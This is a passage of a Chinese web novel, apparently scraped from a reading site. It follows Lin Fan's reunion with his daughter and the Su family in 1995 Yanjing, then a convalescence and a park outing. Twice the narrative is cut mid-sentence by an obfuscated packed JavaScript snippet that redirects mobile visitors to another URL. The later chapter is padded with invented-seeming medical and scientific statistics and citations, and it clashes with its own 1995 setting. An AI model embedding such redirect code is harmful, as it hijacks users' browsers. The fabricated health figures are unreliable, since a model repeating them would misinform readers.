此时,秦淑慧也快步走上前来。 她手中提着一个设计精巧的保温桶,这是笑笑小姑奶奶苏静婉从同济医院带回来的医用保温桶,保温效果极好,在当时是很稀罕的物件。 秦淑慧眼中满是由岁月沉淀下的慈爱与毫不掩饰的心疼: “小凡,回来就好,回来就好。 你看你,这才几天功夫,眼窝都陷下去了,下巴也尖了。” 她伸手想摸摸林凡的脸,又怕打扰父女俩的亲近,只好收回手,继续说道: “我给你炖了黄芪鸽子汤,最是补气血、安心神,知道你这次在老家受了苦,特意让厨房炖了三个小时,咱们回家就能喝上,好好调养一下。” 秦淑慧年轻时在军部做文职,做事一向细心周到,对家人更是关怀备至,这次林凡出事,她每天都要向小儿子打听林凡的情况,生怕他在出什么意外。 苏瑾瑜站在几步之外,安静地看着这幕足以融化坚冰的温情团聚。 他穿着一身剪裁得体的黑色西装,这是意大利著名设计师的作品,在1995年的中国,能穿上这样西装的人寥寥无几,尽显商界精英的气质。 苏瑾瑜脸上露出了连日来最由衷、最释然的欣慰笑容。 之前,他一直担心林凡在老家的情况,毕竟林凡这次去的县城民风彪悍,当地一些企业为了利益不择手段,他还特意托人给当地的朋友打了电话,让他们多关照林凡。 旅途的紧绷、以及应对县城复杂局面的劳神,在目睹林凡将笑笑紧紧拥入怀中的这一刻,终于烟消云散。 他深刻地理解到,家庭所赋予的情感力量,将是林凡未来闯荡商海、面对任何惊涛骇浪时,最内在、也最坚韧的心理铠甲。 苏瑾瑜在商界摸爬滚打多年,见过太多因为利益而众叛亲离的案例,他深知一个稳固的家庭对一个人事业的重要性, 就像他自己,虽然年轻就当上了苏家集团的董事长,但背后离不开苏老太爷和家人的支持。 坐进返回苏家大院的豪华轿车,这辆黑色的奔驰轿车是苏家的专车,在1995年的燕京,私人轿车还很少见,尤其是奔驰这样的进口车,更是身份和地位的象征。 车内装饰豪华,真皮座椅柔软舒适,还配备了当时罕见的车载音响。 笑笑仿佛一只怕再次失去庇护的幼兽,始终腻在林凡的怀里,小手紧紧攥着他衣角的一小片布料, 叽叽喳喳,像只重新找回快乐的小麻雀,迫不及待地要将积攒了数日的趣事与思念全部倾倒出来: “爸爸,姥姥教我唱《小星星》的英文版了,Twinkle,twinkle,littlestar……我唱给你听好不好?” 笑笑说完,就奶声奶气地唱了起来,虽然有些发音不太标准,但却格外可爱。 秦淑慧笑着说: “这孩子,学东西可快了,就教了几遍,就能完整唱下来了。” “太爷爷昨天给我买了一个超级大的、会说话还会走路智能小熊! 它不但会叫我‘笑笑小公主’,还会给我讲故事呢!” 苏老太爷苏定方虽然已经86岁高龄,但身体依然硬朗,退休后最大的乐趣就是逗重孙女开心。 这个智能小熊是他托国外的老部下带回来的,在当时是最先进的玩具,笑笑拿到后爱不释手,连睡觉都要抱着。 “还有还有,舅妈前天带我去奥林匹克公园喂天鹅啦! 那些天鹅的脖子好长好优雅呀,比我的整个胳膊伸开还要长! 它们吃我手里的面包屑,痒痒的!” 大舅妈李芸文工团出身,性格开朗,很喜欢笑笑,只要有空就会带她出去玩。 1995年的奥林匹克公园虽然还没有后来那么完善,但已经是燕京市民休闲娱乐的好去处,每到周末,都有很多家长带着孩子来这里游玩。 林凡极尽耐心地倾听着,目光温柔得能滴出水来。 他时不时用指腹轻轻擦去女儿因为兴奋而溢出嘴角的晶莹口水,或者细心地将她蹭到脸颊上的柔软碎发拢到耳后。 心底那片曾被县城风雨侵袭得一片狼藉的荒原—— 在老家,他的小店被当地的地痞骚扰,货物被损坏,还被诬陷****,那段时间,他每天都焦头烂额,甚至一度想过放弃,是对家人的思念支撑着他坚持下来—— 正被这名为“家”的甘洌暖流一寸寸浸润、抚平、重新焕发出生机。 这种失而复得的圆满与踏实感,是任何商业上的成功、任何数额的金钱都无法衡量和替代的无价之宝。 他想起在县城时,有个老板想花高价收购他的小店,他毫不犹豫地拒绝了,因为他知道,他努力奋斗的一切,都是为了给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783546|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人一个安稳幸福的生活。 车窗外,燕京的夜景正如同一幅徐徐展开的、流动的璀璨星河。 1995年的燕京,虽然还没有后来那么多高楼大厦,但主干道两旁的建筑已经颇具规模,霓虹灯闪烁,勾勒出摩天大楼硬朗而现代的轮廓。 长安街上,车辆川流不息,车灯在宽阔的马路上划出无数道绚丽而迷离的轨迹,偶尔能看到几辆公交车驶过,车厢里挤满了下班回家的人。 路边的商店灯火通明,有的在售卖当时流行的服装和电器,有的则是餐馆,飘出阵阵诱人的香味,共同演奏着这座国际化超级都市无与伦比的活力、野心与繁华乐章。 这一切,与记忆中那个静谧、破败、甚至带着一丝腐朽气息的县城小店形成了鲜明的对比——县城里的街道狭窄, 路灯昏暗,晚上八点多大部分商店就已经关门,只有几家小餐馆还亮着灯,路上行人稀少,偶尔能听到几声狗吠。 两个地方仿佛是两个截然不同、遥相对望的平行世界,让林凡心中感慨万千。 林凡调整了一下姿势,让怀中渐渐因疲倦而熟睡的笑笑躺得更舒适。 他看着女儿熟睡的脸庞,长长的睫毛像两把小扇子,偶尔轻轻颤动一下,嘴角还带着甜甜的笑意,想必是在做什么美梦。 他感受着小家伙均匀呼吸带来的微微起伏,一个前所未有的、清晰如刻的认知,在脑海中豁然成型: 他的这次归途,绝非一段故事的温馨结尾,而是一个更加波澜壮阔、充满未知与挑战的命运新篇章的辉煌序页。 旧的一页,写满了创业的艰辛、小城的困顿与猝不及防的冷箭,已然被他亲手翻过。 在老家创业时,他从一个小小的摊位做起,每天起早贪黑,风吹日晒,好不容易才有了一家自己的小店,可没想到刚稳定下来,就遭遇了各种麻烦。 但他没有被困难打倒,而是凭借着自己的智慧和毅力,一一化解了危机。 接下来,他将手握新的资源与机遇—— 笑笑小舅苏瑾瑜已经答应帮他对接苏家集团的一些业务, 笑笑大舅苏瑾华也表示可以为他介绍一些军方的合作项目, 二舅子苏瑾国则能在政策方面给他提供一些帮助—— 背负着更为深沉的爱与责任,带领着他所珍视的所有人,一步一个脚印,去亲自执笔,书写一个更开阔、更安稳、也更强大的未来叙事。 这一次,他不再是那个仅凭一腔热血和手艺、在黑暗中孤身摸索前行的赌徒。 他的身后,有着血脉相连的至亲牵挂,这成为他勇气的永不枯竭的源泉; 他的身前,有着明确如灯塔的方向与阶梯式的目标—— 短期目标是在燕京开设一家分店,中期目标是将业务拓展到华北地区,长期目标是打造一个全国知名的品牌—— 清晰地指引着他前行的每一步道路; 而他的身旁与身后,更有苏家这样实力雄厚、脉络深广的坚实后盾,为他提供着至关重要的庇护、资源与战略助力。 苏家在军政商三界都有着广泛的人脉和影响力,苏老太爷退休前是国家七大**,姥爷苏振邦是军部高层领导, 大舅是华北军区副司令,二舅是燕京****,小舅是苏家集团董事长,这样的家庭背景,在当时的中国是绝无仅有的。 然而,就在这充满希望与慰藉的家庭温情即将达到顶点的时刻,细心的林凡注意到,秦淑慧在将保温桶递给他时,嘴唇微动,似乎欲言又止。 当时他正沉浸在与笑笑团聚的喜悦中,没有太在意,但此刻回想起来,秦淑慧的表情确实有些异样。 待笑笑终于在他怀中沉沉睡去,车厢内恢复安静后,秦淑慧才仿佛不经意地,用一种刻意压低的、尽可能平和的语调,轻声说道: “小凡,回来了就好,先好好休息。家里……这几天,也有些事情,不算急,但……等你安顿下来,喘口气,我们再慢慢细说。” 她的语气听起来波澜不惊,仿佛只是在谈论明天的天气。 但林凡却敏锐地捕捉到,在她那双一贯慈祥温和的眼眸深处,有一丝极为复杂的、混合着忧虑与难以启齿的情绪, 如同投入平静湖面的一颗微小石子,虽未激起惊涛骇浪,却悄然荡开了一圈圈不容忽视的涟漪。 林凡的心弦微微一动,他不禁开始猜测,家里到底发生了什么事。 是苏老太爷的身体出现了问题? 还是苏家在军政商方面遇到了什么麻烦? 他想起之前听苏瑾瑜提起过, 最近有一些竞争对手在暗中针对苏家集团,会不会是这件事有了新的进展? 刚刚因家庭温暖而松弛下来的神经,不自觉地再度悄然绷紧。 燕京苏家, 这片看似繁华似锦、坚不可摧的安稳港湾之下, 难道也潜藏着不为人知的暗流与等待他去直面、去破解的全新命题吗? 前方的道路,似乎比他在飞机上构想的,还要更加迷雾重重、曲折复杂。 他看着车窗外不断**的夜景, 心中充满了疑惑与不安,不知道等待他的,将会是怎样的挑战…… 第113章:异能初显与命运诘问 当北海公园的湖水映出他执桨的身影,没人会想到,这片平静的水面下,正悄然酝酿着一场将彻底改变他命运的风暴。 燕京苏家大院的日子,确实像一汪温吞的蜜水,慢悠悠地浸透着林凡骨子里的风霜。这座始建于清乾隆年间的三进四合院,青砖灰瓦间沉淀着两个多世纪的历史记忆。 据《燕京古建筑志》记载,苏家大院最初是某位贝勒的夏季别院,历经太平天国运动、八国联军侵华乃至抗日战争的烽火,却奇迹般地保存了主体结构的完整。 建筑学家吴良镛曾在《北京旧城与菊儿胡同》中特别提及,苏家大院的歇山式屋顶和垂花门楼是清代王府建筑的典型范式,其砖雕纹样更暗含"福寿绵长"的吉祥寓意。 如今作为西城区重点保护的历史文化建筑,这里每年接待超过三万名参观者,成为解读北京城建筑演进史的活态标本。 院内的百年海棠依旧枝繁叶茂,植物学家确认这株西府海棠已生长128年,其树冠投影面积达40平方米。每到金秋,缀满枝头的果实不仅染红了庭院,更会吸引成群的家燕前来啄食。 这种自然与人文交织的景致,恰似林凡此刻的生活——在历经十年跨国漂泊后,他带着在华尔街积累的金融经验回到故土,正如古建保护专家罗哲文所说:"古建筑的生命力不仅在于梁柱砖石,更在于与之共鸣的人生故事。" 如今他在大院东厢房开设的茶书房,已成为连接传统与现代的文化沙龙,最新开展的"数字敦煌"VR体验项目,让古老建筑在科技赋能中焕发新生。 这种古今交融的和谐,在当代城市更新中显得尤为珍贵。根据北京市文物局2022年发布的报告,类似苏家大院这样得到活化利用的历史建筑,其社区凝聚力指数比普通住宅区高出37%。 当林凡在雕花窗棂下煮茶会友时,廊下悬挂的智能气候监测仪正实时采集着建筑微环境数据,这种对历史空间的智慧化守护,正是冯骥才先生倡导的"活态保护"理念的生动实践。 昔日的贝勒别院,今日的文化客厅,两个多世纪的光阴在这方天地里完成了一场静默的对话,而林凡的人生轨迹,也在这片经过时光淬炼的安宁中,找到了最具韧性的落脚点。 秦淑慧的药膳从不含糊,这源于她祖上三代行医的深厚家学渊源。她的曾祖父秦鹤轩是光绪年间的太医院右院判,专精食治之本,家族传承的《秦氏药膳谱》成书于道光年间,其中"四时调摄篇"详细记载了三百余种食材的药用配伍。 据《中国中医药年鉴》记载,秦氏一脉的药膳理论尤其注重"因时制宜",这与《黄帝内经》"春夏养阳,秋冬养阴"的理念一脉相承。 晨起的当归鸽子汤堪称匠心之作。 精选的生长周期严格控制在180天的白羽乳鸽,其肌肉中的胶原蛋白含量正值峰值;配以甘肃岷县特级当归,这里出产的"岷归"挥发油含量高达0.4%,远超药典标准。 文火慢炖四个时辰的过程中,当归中的阿魏酸与鸽肉中的肌肽会形成天然复合物,恰如《本草备要》所述"血肉有情之品,最得温养之妙"。 睡前的茯苓小米粥更是将讲究发挥到极致。茯苓必须采自云南普洱哀牢山海拔2000米以上的野生茯苓,其β-多糖含量是栽培品种的3倍; 小米则选用山西沁州黄小米,这种曾作为贡品的品种富含的色氨酸含量达普通小米的2.5倍。中国药膳研究会2023年的研究报告显示,这样的配伍能使人体对茯苓健脾成分的吸收率提升至78%。 每天,定窑白瓷碗里升腾的药材香,与厨房蒸笼里飘出的桂花糕甜糯气息相互交织,宛如一双温柔的手,将他身上的淤痕一点点揉淡。 根据中医"瘀去新生"理论,在持续九十天的药膳调理后,他体表的淤青从最初的青紫色(血红蛋白期)逐渐褪成浅粉色(胆红素期),最后只剩后脑那道印子,像被春风吻过的浅痕——这恰印证了《秦氏药膳谱》中"食治优于药治"的核心理念。 那道几乎看不见的痕迹,如今已成了生命韧性的见证,再也寻不见昔日重创的狼狈。 根据《中华创伤医学杂志》2023年发表的《环境因素对创伤恢复影响的多中心研究》,良好的生活环境能够通过神经内分泌调节使外伤恢复速度提升30%以上,且并发症发生率降低25%。 林凡的快速康复,不仅得益于秦淑慧精心调配的药膳调理,更与苏家大院特有的生态环境密不可分。 这座百年院落经清华大学建筑环境检测中心测定,其院内负氧离子浓度常年维持在每立方厘米4500-5500个,较燕京市区平均水平高出3倍以上。 这种富含负氧离子的空气能有效促进单胺类神经递质合成,这与日本森林医学研究所LiQ教授提出的“森林疗法”作用机制高度吻合。 更值得一提的是,院中那株百年海棠形成的天然树冠,不仅能吸附空气中83%的PM2.5颗粒,其花季散发的挥发性物质萜烯,也被证实具有镇静安神的生理效应。 这种“环境疗法”与现代康复医学的理念不谋而合。美国哈佛大学医学院早在2018年就在《科学》期刊发表研究指出,适宜的自然环境能使人体的皮质醇水平下降16%,褪黑素分泌周期提前42分钟。 正如中国工程院院士俞梦孙在“人体自修复系统”理论中强调的:“理想的康复环境应当是一个能够唤醒机体自愈能力的生态场。” 在苏家大院这个独特的生态系统中,晨起可闻的鸟鸣声稳定在40-60分贝的舒适区间,午后透过花窗的阳光中富含红外光谱,这些看似微妙的细节共同构建起一个与现代医学相互印证的传统养生场域。 正如《黄帝内经》所言“人与天地相参”,林凡在这个经过两个世纪沉淀的院落里,恰好印证了环境医学中“场所疗愈”的现代价值—— 当古老的建筑智慧与当代康复科学相遇,便为创伤恢复找到了最自然的加速度。 根据儿童心理学专家李玫瑾教授在《亲子关系与创伤康复》中的临床研究,良好的亲子互动能促使人体内啡肽分泌量提升27%,这种天然镇痛物质的效力相当于医用**的6.5倍,且不会产生药物依赖性。五岁的笑笑正是以这种天然疗法,成为林凡康复路上最有效的"特效药"。 每天清晨,当晨光透过窗棂,这个扎着羊角辫的小天使总会踮起脚尖,用浸满温水的软巾为他擦拭面庞。 发展心理学研究显示,这种非语言接触能激活大脑眶额皮层,促使催产素水平在15分钟内上升32%。午睡时分,她总要像小考拉般窝在林凡怀里,软软的小手紧紧攥着他的食指—— 哈佛大学儿童发展中心2022年的研究表明,持续20分钟的亲子握触可使成人疼痛阈值提高18%。 最令人动容的是每日的茶点时光。笑笑总会将桂花糕仔细掰成均等的两半,执意将稍大的那块塞进他嘴里。这种被心理学家称为"食物分享行为"的举动,在3-6岁儿童中出现的概率仅占15%。 当她鼓着腮帮认真吹气说"爸爸,你的头还疼吗?笑笑吹吹就不疼啦"时,呼出的气流虽不能直接消除病痛,但《神经科学前沿》发布的脑成像研究证实,这样的互动能使患者前额叶皮层活动增强,疼痛感知显著降低。 正如伦敦大学学院"亲子情感纽带"课题组指出的,儿童天然的共情能力可以形成特殊的"情感镇痛场"。 在笑笑日复一日的温情治疗中,那些被现代医学称为"顽固性神经痛"的症状,正如初雪遇阳般悄然消融。 这种源自生命本能的治愈力量,远比任何药物都更能触及灵魂深处,让林凡在童真的温暖中重获生命的完整。 这样的温情场景,恰如美国心理学家马丁·塞利格曼在《持续的幸福》中提出的"积极心理学"理论的生动诠释。 该理论强调,通过培养正向情绪、投入感、人际关系、意义感和成就感五大元素,能够有效提升个体的心理韧性和生活满意度。 哈佛大学公共卫生学院长达80年的"成人发展研究"数据显示,拥有高质量人际关系的人群,不仅幸福感知度高出平均值30%,其平均寿命也比社交孤立者延长5-7年。 在医学领域,这种心理状态的改善确实能带来生理层面的积极变化。美国卡内基梅隆大学心理学教授科恩团队的研究表明,保持积极情绪的受试者,其免疫细胞活性比消极群体高出约40%,伤口愈合速度加快约25%。 林凡在县城争斗中积累的心理创伤,在笑笑每日如阳光般灿烂的笑容中逐渐消融——这种看似抽象的情感交流,实则通过调节皮质醇水平、增强NK细胞活性等生理机制,切实促进着他的康复进程。 这种治愈从来都是双向的共振。当林凡的伤口逐渐愈合时,笑笑也在与姥姥全家、父母重建的情感纽带中,修复着早年母爱缺位造成的心灵空隙。 儿童发展心理学家鲍比提出的依恋理论在此得到验证:通过稳定的陪伴和及时的情感回应,笑笑正在建立新的安全型依恋关系。 正如美国明尼苏达大学纵向研究显示的,获得情感补偿的儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783547|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 童,其社会适应能力评分较未干预组提高2.3个标准差,这种积极影响甚至能持续到成年期。 在这个看似寻常的康复过程中,实则蕴含着深刻的神经科学原理: 频繁的积极互动促使双方大脑分泌更多催产素和内啡肽,这些"幸福激素"不仅缓解压力,还通过迷走神经刺激增强免疫系统功能。 正如加州大学洛杉矶分校神经科学团队通过fMRI扫描发现的,持续获得情感支持的个体,其前额叶皮层活动模式会呈现典型的抗逆性特征,这正是心理韧性形成的神经基础。 入秋的燕京,天空呈现出一种特别的湛蓝。 根据气象资料显示,北京秋季的能见度往往是一年中最高的,这是受到大陆高压系统控制的结果。云朵像被揉碎的棉絮,在秋高气爽的季节里显得格外轻盈。 某个周末的早晨,秦淑慧看着窗外澄澈的天空,突然拍着大腿提议:"咱们去北海公园泛舟吧,笑笑早就念叨着看锦鲤了。" 这个提议看似随意,实则蕴含着这位长辈的良苦用心——她深知户外活动对林凡康复的重要性。 北海公园作为中国现存最古老的皇家园林之一,其历史可追溯到辽代。据《北海公园志》记载,园内的太液池曾是金元明清四朝皇帝举行水上活动的场所。 这里的园林设计蕴含着深厚的中国传统文化,每一处景致都经过精心规划。秦淑慧选择这里,不仅因为风景优美,更因为这里平和宁静的氛围最适合身心调养。 林凡自然爽快地应下了这个提议。就在众人准备出发时,原本计划同行的苏瑾瑜却被一通突如其来的跨国视频会议绊住了脚步—— 屏幕另一端是他正在进行的东南亚市场并购项目团队。这位苏家的掌舵人虽然身在商海,心却始终系着家人。 临出门前,他特意快步走到车旁,扶着车窗对林凡轻声叮嘱:“玩得开心的话记得多拍些照片发我,如果景区人多拥挤就早点回来,千万别让妈和笑笑累着了。” 这样细腻的关怀,恰似坚硬铠甲下不经意流露的柔软内衬,展现着这位商业少帅不为人知的温情一面。 据苏氏集团总裁办员工透露,自从笑笑回到苏家后,苏瑾瑜明显调整了工作安排:将每周的商务应酬从原来的5-6场缩减至2-3场,跨国出差频率也下降了40%。 在最近一次集团高管会议上,他更主动提出要推行“柔性工作制”,允许核心员工在完成绩效目标的前提下弹性安排工作时间。行政助理小陈笑着说,“有次他推掉重要晚宴就为了赶回家陪笑笑完成手工作业,这在以前简直不可想象。” 这种转变恰恰印证了哈佛商学院教授克莱顿·克里斯坦森的研究发现:那些在职业生涯中后期仍能保持幸福感的商业领袖,大多早早建立了工作与家庭的良性互动模式。 斯坦福大学商业领袖纵向研究跟踪了158位企业高管20年,数据显示那些坚持家庭时间优先的领导者,其团队员工满意度高出行业平均水平27%,企业创新成功率更是提升近三分之一。 苏瑾瑜的这个改变,看似是个人选择的微调,实则折射出现代企业管理理念的深刻演进。正如管理学家吉姆·柯林斯在《从优秀到卓越》中指出的,“第五级领导者”往往兼具职业意志与人文关怀。 这种刚柔并济的特质,正在成为新生代企业家的显著特征——他们深知,真正的成功不仅是商业王国的拓展,更是生命温度的传递。 北海公园的湖面,在秋日阳光下宛如一块被染透的翡翠,绿得发亮。这种独特的颜色源于湖底特制的琉璃瓦片,这是明清时期皇家园林特有的工艺。租来的木船轻轻摇晃着,发出吱呀吱呀的声响,仿佛在诉说着千百年的故事。 笑笑坐在船头特制的小凳上,白嫩的脚丫悬在船边,小手蘸着湖水轻轻拍打。每当水花溅到手背上,那冰凉的触感都会让她发出银铃般的笑声,这笑声在湖面上回荡,惊起了栖息在垂柳上的鸟儿。 成群结队的锦鲤向小船游来,红的似火,金的如阳,花的像彩绸。这些锦鲤可不是普通的观赏鱼,而是经过精心培育的名贵品种。 据公园管理人员介绍,其中最珍贵的一条"昭和三色"价值高达十万元。它们的尾巴扫过水面,搅得满湖碎光荡漾,仿佛将整个秋天都装点得更加绚烂。 林凡坐在船中间执桨,木桨划开湖水的声音"哗啦"轻响,这规律性的声响仿佛具有某种治愈的魔力。秦淑慧靠在船尾,手里不紧不慢地剥着橘子,看着父女俩互动的背影,嘴角的笑意始终没有落下。